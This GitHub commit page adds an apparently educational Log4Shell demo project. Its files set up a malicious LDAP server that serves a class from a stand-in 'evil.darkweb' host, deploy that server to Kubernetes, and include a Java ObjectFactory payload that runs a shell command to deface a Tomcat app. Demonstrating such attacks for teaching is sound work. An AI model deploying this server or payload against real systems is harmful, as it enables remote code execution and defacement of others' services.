-
Notifications
You must be signed in to change notification settings - Fork 1.2k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #369 from snyk-labs/log4shell
Log4shell
- Loading branch information
Showing
18 changed files
with
4,682 additions
and
10 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,11 @@ | ||
FROM maven:3-jdk-8-slim as build | ||
COPY . . | ||
RUN --mount=target=$HOME/.m2,type=cache mvn clean compile assembly:single | ||
|
||
FROM openjdk:8 as ldap | ||
COPY --from=build target/*.jar /server.jar | ||
EXPOSE 8000 | ||
EXPOSE 9999 | ||
|
||
CMD ["java", "-jar", "/server.jar", "http://evil.darkweb:9999/#Vandalize", "8000", "9999", "Vandalize.class"] | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,53 @@ | ||
--- | ||
apiVersion: v1 | ||
kind: Namespace | ||
metadata: | ||
name: darkweb | ||
--- | ||
apiVersion: apps/v1 | ||
kind: Deployment | ||
metadata: | ||
labels: | ||
app: log4shell | ||
name: log4shell | ||
namespace: darkweb | ||
spec: | ||
replicas: 1 | ||
selector: | ||
matchLabels: | ||
app: log4shell | ||
template: | ||
metadata: | ||
labels: | ||
app: log4shell | ||
spec: | ||
containers: | ||
- name: ldap | ||
image: ${DOCKER_ACCOUNT}/log4shell-server:latest | ||
--- | ||
apiVersion: v1 | ||
kind: Service | ||
metadata: | ||
name: ldap | ||
namespace: darkweb | ||
spec: | ||
selector: | ||
app: log4shell | ||
ports: | ||
- protocol: TCP | ||
port: 80 | ||
targetPort: 8000 | ||
--- | ||
apiVersion: v1 | ||
kind: Service | ||
metadata: | ||
name: evil | ||
namespace: darkweb | ||
spec: | ||
selector: | ||
app: log4shell | ||
ports: | ||
- protocol: TCP | ||
port: 9999 | ||
targetPort: 9999 | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
#!/usr/bin/env bash | ||
read -e -i "${DOCKER_ACCOUNT}" -p "Please enter your DockerHub user/account name: " input | ||
name="${input:-$DOCKER_ACCOUNT}" | ||
|
||
echo "📦 Building image ${DOCKER_ACCOUNT}/log4shell-server:latest ..." | ||
docker build -t ${DOCKER_ACCOUNT}/log4shell-server:latest . | ||
echo | ||
echo "🚚 Pushing image to DockerHub..." | ||
docker push ${DOCKER_ACCOUNT}/log4shell-server:latest |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,4 @@ | ||
#!/usr/bin/env bash | ||
MYDIR=$(dirname $0) | ||
echo "Removing app from kubernetes..." | ||
kubectl delete -f $MYDIR/deploy.yaml |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,14 @@ | ||
#!/usr/bin/env bash | ||
MYDIR=$(dirname $0) | ||
read -e -i "${DOCKER_ACCOUNT}" -p "Please enter your DockerHub user/account name: " input | ||
name="${input:-$DOCKER_ACCOUNT}" | ||
|
||
cat $MYDIR/deploy.yaml | envsubst | kubectl apply -f - | ||
|
||
echo "⌚️ Waiting for pod deployment..." | ||
kubectl wait --namespace=darkweb \ | ||
--for=condition=ready pod \ | ||
--selector=app=log4shell \ | ||
--timeout=90s | ||
|
||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
16 changes: 16 additions & 0 deletions
16
log4shell-goof/log4shell-server/src/main/java/Vandalize.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,16 @@ | ||
import javax.naming.Context; | ||
import javax.naming.Name; | ||
import javax.naming.spi.ObjectFactory; | ||
import java.util.Hashtable; | ||
|
||
public class Vandalize implements ObjectFactory { | ||
@Override | ||
public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { | ||
String[] cmd = { | ||
"/bin/sh", | ||
"-c", | ||
"echo '<center><h1>Nice container you have, I think I will move in!</h1></center>' >> /usr/local/tomcat/webapps/todolist/WEB-INF/views/common/header.jspf"}; | ||
Runtime.getRuntime().exec(cmd); | ||
return null; | ||
} | ||
} |
Binary file removed
BIN
-3.07 KB
log4shell-goof/log4shell-server/target/classes/Server$OperationInterceptor.class
Binary file not shown.
Oops, something went wrong.